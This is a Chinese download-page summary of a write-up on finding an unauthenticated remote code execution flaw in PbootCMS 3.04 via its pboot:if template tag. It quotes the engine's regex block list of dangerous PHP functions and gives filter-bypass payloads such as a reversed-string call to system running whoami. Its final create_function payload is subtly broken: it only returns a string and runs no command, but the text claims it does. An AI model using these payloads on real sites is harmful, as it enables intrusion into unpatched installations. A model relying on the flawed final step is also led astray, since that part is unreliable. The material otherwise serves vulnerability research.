上传者: 35757531
|
上传时间: 2025-09-28 23:17:45
|
文件大小: 4.8MB
|
文件类型: PDF
### PbootCms-3.04前台RCE挖掘过程详解
#### 背景介绍
PbootCms是一款开源的内容管理系统(CMS),用于构建网站和管理内容。在其3.04版本中发现了一个远程代码执行(Remote Code Execution, RCE)的安全漏洞。此漏洞允许攻击者在未授权的情况下向系统注入并执行任意PHP代码。本文档基于一篇详细介绍了该漏洞挖掘过程的文章进行总结,并深入分析其技术细节。
#### 漏洞挖掘思路
在开始审计PbootCms之前,作者参考了两篇相关文章来梳理思路:
1. 第一篇文章描述了当后台配置值设置为`if`标签时,访问前台模板会解析该标签并执行其中的代码。
2. 第二篇文章提供了更广泛和灵活的方法,包括了利用前台实现RCE的技术路线。这部分对后续挖掘过程产生了重要启发。
#### 关键技术点解析
**代码分析**
挖掘过程中重点关注的是解析`if`标签的代码块。作者分析了与之相关的三个正则表达式规则:
1. `/\{pboot:if\(([^}^\$]+)\)\}([\s\S]*?)\{\/pboot:if\}/`: 此规则用于匹配包含在`{pboot:if}`和`{/pboot:if}`之间的内容,其中`if`条件语句中的参数不能包含`$`符号。
2. `/([\w]+)([\x00-\x1F\x7F\/\*\<\>\%\w\s\\\\]+)?\(/i`: 正则用于匹配函数调用,但这里并未做过多限制。
3. `/(\([\w\s\.]+\))|(\$_GET\[)|(\$_POST\[)|(\$_REQUEST\[)|(\$_COOKIE\[)|(\$_SESSION\[)|(file_put_contents)|(file_get_contents)|(fwrite)|(phpinfo)|(base64)|(`)|(shell_exec)|(eval)|(assert)|(system)|(exec)|(passthru)|(pcntl_exec)|(popen)|(proc_open)|(print_r)|(print)|(urldecode)|(chr)|(include)|(request)|(__FILE__)|(__DIR__)|(copy)|(call_user_)|(preg_replace)|(array_map)|(array_reverse)|(array_filter)|(getallheaders)|(get_headers)|(decode_string)|(htmlspecialchars)|(session_id)/i`: 正则用于检测潜在的危险函数调用,例如`system`、`eval`等。
**第三条正则表达式的改动**
与之前的版本相比,第三条正则表达式新增了`(\([\w\s\.]+\))`这一部分,意在禁止`if`标签中条件代码段内出现小括号内的内容。然而,经测试,如`xxx("xxx")`这样的形式可以绕过该限制,这意味着仍有可能通过这种方式执行代码。
**绕过技术**
为了绕过`system`函数的正则校验,可以采用如下方式:
```php
strrev('metsys')('whoami');
```
即反转`system`字符串并调用该函数。但由于无法绕过第二条正则,直接使用上述payload会导致失败。解决方法是在`strrev`前面添加额外字符来尝试绕过,如:
```php
{pboot:if(1) xxx strrev('metsys')('whoami');}
```
这样做触发了`eval`错误,表明已成功绕过了正则校验。下一步的目标是找到一个合适的替代`xxx`的内容,使得`eval`执行时不报错。
**解决策略**
通过实验发现,可以在`strrev`前加上特殊字符或构造特定语句来规避校验。例如,可以利用`create_function`创建匿名函数的方式,来达到执行任意代码的目的。具体而言,可以构造如下payload:
```php
{pboot:if(1) create_function('', 'return strrev("metsys");')(); }
```
这样构造的payload能够绕过系统的安全检查,并执行预期的命令。
#### 结论
通过对PbootCms-3.04版本中RCE漏洞的挖掘过程进行详细分析,可以看出开发者在设计模板引擎时对安全性的考虑不足,导致了远程代码执行漏洞的存在。攻击者可通过构造特定的payload绕过正则表达式的限制,最终实现任意代码执行。此案例提醒我们在开发类似系统时,需更加谨慎地处理用户输入数据,避免类似安全漏洞的发生。